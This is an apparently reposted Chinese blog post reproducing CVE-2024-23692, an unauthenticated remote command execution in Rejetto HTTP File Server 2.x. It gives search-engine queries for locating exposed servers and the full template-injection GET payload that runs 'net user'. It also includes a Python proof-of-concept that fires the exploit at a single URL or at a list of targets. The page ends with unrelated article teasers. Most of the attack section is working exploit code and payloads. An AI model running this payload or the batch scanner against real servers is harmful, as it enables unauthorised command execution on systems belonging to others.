【漏洞復現】Rejetto HTTP文件服務器——遠程命令執行(CVE-2024-23692)

聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。

文章目錄

  • 漏洞描述
  • 漏洞復現
  • 測試工具


漏洞描述

Rejetto HTTP文件服務器是一個輕量級的HTTP服務器軟件,它允許用戶在本地計算機上快速搭建一個文件共享服務。其 2.x系列 存在CVE-2024-23692遠程命令執行漏洞,攻擊者可在無需登陸的情況下利用模板注入執行任意命令,從而控制服服務器。

漏洞復現

1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
在這里插入圖片描述
巧合是上帝默默操控世界的方式。
在這里插入圖片描述
2)構造數據包

GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip

代碼解釋:

/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}

這個payload實際上是一個經過編碼的命令,讓我們更詳細地分析其各個組成部分:

  1. 編碼前原始命令

    • 原始命令是這樣的:cmd=net user &search=xxx%url:password
    • 這里cmd代表命令,net user是Windows系統中查看用戶賬戶的命令。
    • &search=xxx%url:password部分是一個搜索條件。
  2. URL編碼

    • %0A是換行符\n的URL編碼形式。
    • %25是百分號%的URL編碼形式,所以%25xxx%25代表%xxx%
  3. 腳本或命令行工具語法

    • {.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}這部分是一個特定腳本或命令行工具的語法,用于執行命令并設置參數。
    • .exec是執行命令的標志。
    • {.?cmd.}是一個動態替換為實際命令的占位符。
    • timeout=15設置了命令執行的超時時間限制為15秒。
    • out=abc.指定了輸出結果應該被寫入到以abc為前綴的文件中,但具體文件擴展名未知。
  4. 輸出結果

    • RESULT:{.?n.}{.?n.}{.^abc.}這部分指定了輸出結果的格式。
    • {.?n.}可能是用于輸出變量或特定值的占位符。
    • {.^abc.}可能表示將輸出追加到之前提到的以abc為前綴的文件中。
  5. 分隔符

    • ====用作分隔符,以區分輸出中的不同部分。

這個payload可能是用于在遠程服務器或網絡設備上執行命令,獲取用戶列表,并搜索包含特定字符串的用戶賬戶。
在這里插入圖片描述
在回顯中看到了用戶名,命令被執行,漏洞存在。

測試工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl# 定義紅色和重置終端輸出格式的常量,用于高亮顯示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):"""檢查給定URL是否存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692)。:param url: 待檢查的URL字符串。"""try:# 忽略HTTPS證書驗證錯誤,以進行漏洞測試# 忽略不安全的HTTPS請求警告ssl._create_default_https_context = ssl._create_unverified_context# 解析URL以獲取主機、方案和路徑信息# 解析URLparsed_url = urlparse(url)host = parsed_url.netlocscheme = parsed_url.schemepath = parsed_url.path if parsed_url.path else '/'# 構造利用漏洞的攻擊路徑# 構造完整的攻擊URL路徑attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"# 根據URL的方案(HTTP或HTTPS)創建連接對象# 根據URL的協議類型,選擇合適的連接方式if scheme == "https":conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(host)# 發送GET請求到構造的攻擊路徑# 發送請求conn.request("GET", attack_path)response = conn.getresponse()# 讀取并解碼響應數據data = response.read().decode('utf-8')# 檢查響應狀態碼是否為200且數據中是否包含'Administrator',以判斷漏洞是否存在if response.status == 200 and 'Administrator' in data:print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692){RESET}")else:print(f"URL [{url}] 不存在漏洞")# 關閉HTTP連接conn.close()except Exception as e:# 打印在檢測過程中發生的任何異常print(f"URL [{url}] 在檢測過程中發生錯誤: {e}")def main():"""程序主入口,負責解析命令行參數并調用漏洞檢測函數。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692)')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了URL參數if args.url:# 確保URL以HTTP或HTTPS開頭,否則添加HTTPif not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 調用漏洞檢測函數check_vulnerability(args.url)# 如果指定了文件參數elif args.file:# 讀取文件中的每行作為URL,逐個檢查with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 確保URL以HTTP或HTTPS開頭,否則添加HTTPif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()

運行截圖
在這里插入圖片描述


多少事,從來急,天地轉,光陰迫,一萬年太久,只爭朝夕。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46007.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46007.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46007.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

VBA學習(20):一批簡單的Excel VBA編程問題解答

1.如何確定單元格區域內的行數和列數? 使用Range.Rows.Count和Range.Columns.Count屬性。 2.Application.Columns指的是什么? 活動工作表中的列。 3.你的程序在列B位置插入一個新列,原來的列B會怎樣? 它向右移動成為列C。 4.假…

vue項目1分鐘實現自定義右鍵菜單,懶人的福音

高效實現需求,避免重復造輪子,今天給大家分享的是,如何在最短的時間內實現右鍵菜單,方法也很簡單,一個插件就可以搞定,話不多說,上效果圖: 1. 效果圖: 2. 安裝&#xff…

5. 基于Embedding實現超越elasticsearch高級搜索

Embedding介紹 Embedding是向量的意思,向量可以理解為平面坐標中的一個坐標點(x,y),在編程領域,一個二維向量就是一個大小為float類型的數組。也可以用三維坐標系中的向量表示一個空間中的點。在機器學習中,向量通常用于表示數據的特征。 向量…

SCI丨中三區

無線網絡遙感圖像和視頻處理技術在xxxxx析基于智能物聯網的xxxxx養老模式可持續發展基于心理行為大數據分類算法xxxxxx研究基于云計算xxxxx行為分析及客戶感知體系的構建基于機器學習的xxxxx金鋼時效行為研究 基于機器視覺的xxxxx檢測系統研究 機器學習的電子顯微鏡xxxxx材料的…

探索Laravel的視圖組件與插槽:構建動態且可復用的UI

探索Laravel的視圖組件與插槽:構建動態且可復用的UI 引言 Laravel作為一個現代化的PHP框架,提供了許多強大的功能來幫助開發者構建高性能和可維護的Web應用。其中,視圖組件(View Components)和插槽(Slots…

【React Hooks原理 - forwardRef、useImperativeHandle】

概述 上文我們聊了useRef的使用和實現,主要兩個用途:1、用于持久化保存 2、用于綁定dom。 但是有時候我們需要在父組件中訪問子組件的dom或者屬性/方法,而React中默認是不允許父組件直接訪問子組件的dom的,這時候就可以通過forwa…

數據庫SQL Server列拼接Join和Union

文章目錄 JOINJOIN的基本語法如下: UNIONUNION的基本語法如下: 在 SQL Server中, JOIN和 UNION是兩種不同的操作,它們用于合并來自兩個或多個表的數據。 JOIN JOIN操作用于將兩個或多個表中的行結合起來,基于它們之…

Jmeter二次開發Demo

Jmeter二次開發Demo 前言 在上一集,我們已經完成了JMX腳本的分析,大致了解了JMX腳本的基本元素。 那么在這一集,我們將會介紹一下Jmeter二次開發的Demo。 Demo代碼 那么話不多說,我們就直接上代碼。 public class TestStress…

SpringBoot+HttpClient實現文件上傳下載

服務端:SpringBoot Controller package com.liliwei.controller;import java.io.File; import java.io.FileInputStream; import java.io.IOException;import javax.servlet.http.HttpServletResponse;import org.springframework.http.HttpHeaders; import org.s…

Cesium 判斷位置是否在當前視口范圍內

詳細步驟都在注釋里,不過多贅述了。 /*** @param {Object} position - Cartesian3坐標* @return {Boolean} 是否在視口中*/ function isPositionInViewport(position) {// 獲取當前視口范圍let viewport = viewer.camera.computeViewRectangle();// 2D模式下拾取不到坐標,vi…

類和對象的簡述(c++篇)

開局之前,先來個小插曲,放松一下: 讓我們的熊二來消滅所有bug 各位,在這祝我們: 放松過后,開始步入正軌吧。愛學習的鐵子們: 目錄: 一類的定義: 1.簡述: 2…

【JavaScript 算法】貪心算法:局部最優解的構建

🔥 個人主頁:空白詩 文章目錄 一、貪心算法的基本概念貪心算法的適用場景 二、經典問題及其 JavaScript 實現1. 零錢兌換問題2. 活動選擇問題3. 分配問題 三、貪心算法的應用四、總結 貪心算法(Greedy Algorithm)是一種逐步構建解…

mybatisPlus和mybatis的版本沖突問題、若依換成MP、解決git無法推送、使用若依框架的swagger、以后再遇到團隊項目應該怎么做。

20240716 一. mybatisPlus和mybatis的版本沖突問題1. 使用前的準備2. 我遇到了一個很嚴重的問題。3. 解決問題,好吧也沒解決,發現問題!! 二、該死的git!!!!1. 解決無法在idea中使用g…

【Outlook】從Outlook新版回歸經典版全攻略

引言 在微軟宣布計劃于2024年底淘汰郵件應用(Mail app)之后,許多用戶發現新版Outlook應用(Outlook (new))在他們的Windows 11/10系統上自動啟動。如果您更傾向于使用經典版Outlook(Outlook (classic)&…

webpack優化

優化方向 熱更新 概念 /** hmr: hot module replacement 熱模塊替換 / 模塊熱更新作用: 一個模塊發生改變,只會重新打包這一個模塊(而不是打包所有模塊),極大的提升了構建速度樣式文件: 可以使用hmr功能…

Facebook:數字時代的社交瑰寶

在當今數字化飛速發展的時代,社交媒體已經成為人們日常生活中不可或缺的一部分,而Facebook作為其中的領軍者,不僅連接了全球數十億的用戶,更深刻地改變了人們的社交方式和生活方式。本文將探討Facebook如何成為數字時代的社交瑰寶…

python如何創建SQLite 數據庫連接,如何將數據庫存儲在內存中?

嗨,大家好,我是蘭若姐姐。今天給大家說下如何創建SQLite 數據庫連接,并將數據庫存儲在內存中,這是一種臨時的、私有的數據存儲空間,一般用于以下情形: 什么都不說,先上代碼: import sqlite3創建數據庫連接…

再談有關JVM中的四種引用

1.強引用 強引用就是我們平時使用最多的那種引用,就比如以下的代碼 //創建一個對象 Object obj new Object();//強引用 這個例子就是創建了一個對象并建立了強引用,強引用一般就是默認支持的當內存不足的時候,JVM開始垃圾回收&#xff0c…

防火墻的冗余基礎知識+實驗檢測

將之前先理清需要注意的知識點: 1、注意防火墻冗余時的會話表必須保持一致,這里HRP技術已經做到 2、vrrp是自動開啟搶占的,且是根據優先級進行搶占的 3、免費ARP的作用:告訴交換機的某個IP的mac地址變成了我的這個mac地址 4、HRP …

C++ | Leetcode C++題解之第231題2的冪

題目&#xff1a; 題解&#xff1a; class Solution { private:static constexpr int BIG 1 << 30;public:bool isPowerOfTwo(int n) {return n > 0 && BIG % n 0;} };